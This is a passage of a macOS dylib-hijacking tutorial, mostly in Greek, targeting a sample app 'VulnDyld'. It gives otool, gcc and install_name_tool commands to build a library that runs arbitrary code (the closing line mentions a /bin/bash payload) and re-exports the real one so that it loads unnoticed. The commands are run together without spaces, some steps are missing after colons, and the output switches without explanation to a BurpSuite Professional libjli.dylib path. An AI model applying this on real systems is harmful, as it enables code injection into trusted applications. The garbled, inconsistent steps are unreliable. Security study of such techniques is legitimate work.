# Check where are the @rpath locationsotool-l"/Applications/VulnDyld.app/Contents/Resources/lib/binary"|grepLC_RPATH-A2cmdLC_RPATHcmdsize32path@loader_path/. (offset 12)--cmdLC_RPATHcmdsize32path@loader_path/../lib2 (offset 12)
# Check librareis loaded using @rapth and the used versionsotool-l"/Applications/VulnDyld.app/Contents/Resources/lib/binary"|grep"@rpath"-A3name@rpath/lib.dylib (offset 24)time stamp 2 Thu Jan 1 01:00:02 1970currentversion1.0.0compatibilityversion1.0.0# Check the versions
Με τις προηγούμενες πληροφορίες γνωρίζουμε ότι δεν ελέγχει την υπογραφή των φορτωμένων βιβλιοθηκών και προσπαθεί να φορτώσει μια βιβλιοθήκη από:
Έτσι, είναι δυνατόν να το αποκτήσουμε! Δημιουργήστε μια βιβλιοθήκη που εκτελεί κάποιο αυθαίρετο κώδικα και εξάγει τις ίδιες λειτουργίες με την νόμιμη βιβλιοθήκη, επανεξάγοντάς την. Και θυμηθείτε να την μεταγλωτίσετε με τις αναμενόμενες εκδόσεις:
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
Η διαδρομή επανεξαγωγής που δημιουργείται στη βιβλιοθήκη είναι σχετική με τον φορτωτή, ας την αλλάξουμε σε απόλυτη διαδρομή για τη βιβλιοθήκη που θέλουμε να εξαγάγουμε:
#Check relativeotool-l/tmp/lib.dylib|grepREEXPORT-A2cmdLC_REEXPORT_DYLIBcmdsize48name@rpath/libjli.dylib (offset 24)#Change the location of the library absolute to absolute pathinstall_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check againotool-l/tmp/lib.dylib|grepREEXPORT-A2cmdLC_REEXPORT_DYLIBcmdsize128name/Applications/BurpSuiteProfessional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
Τέλος, απλά αντιγράψτε το στην καταχωρημένη τοποθεσία:
Εάν σκοπεύετε να προσπαθήσετε να εισαγάγετε βιβλιοθήκες σε αναπάντεχα δυαδικά αρχεία, μπορείτε να ελέγξετε τα μηνύματα γεγονότων για να διαπιστώσετε πότε φορτώνεται η βιβλιοθήκη μέσα σε ένα διεργασία (σε αυτήν την περίπτωση αφαιρέστε την printf και την εκτέλεση /bin/bash).